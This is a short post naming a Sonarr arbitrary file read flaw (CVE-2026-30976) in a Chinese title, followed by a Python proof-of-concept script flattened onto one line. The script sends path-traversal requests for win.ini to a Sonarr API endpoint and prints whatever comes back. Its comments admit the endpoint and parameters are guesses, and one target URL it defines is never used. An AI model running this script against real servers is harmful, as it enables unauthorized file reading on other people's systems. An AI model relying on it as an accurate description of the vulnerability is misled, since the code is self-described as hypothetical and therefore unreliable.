CVE-2026-30976 Sonarr 任意文件读取漏洞

import requests # Target URL (Sonarr instance) target_url = "http://<target-ip>:8989/api/v3/diskSpace?path=../../.." # Note: The exact vulnerable endpoint might vary based on specific API implementation. # This PoC demonstrates the concept of path traversal to read files. # In a real scenario, the attacker would manipulate the 'path' or similar parameter. # Example payload to read Windows win.ini file # Usually Sonarr runs on Windows as a service. payload = "C:\\Windows\\win.ini" # Constructing a hypothetical malicious request # Assuming an endpoint like /api/file exists or parameters are injectable vuln_endpoint = "http://<target-ip>:8989/api/v3/rootfolder" params = { # Attempting to traverse out of the application root "path": "..\\..\\..\\..\\windows\\win.ini" } try: response = requests.get(vuln_endpoint, params=params) if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print("Response content:") print(response.text) else: print("[-] Exploit failed or endpoint not found.") except Exception as e: print(f"Error: {e}")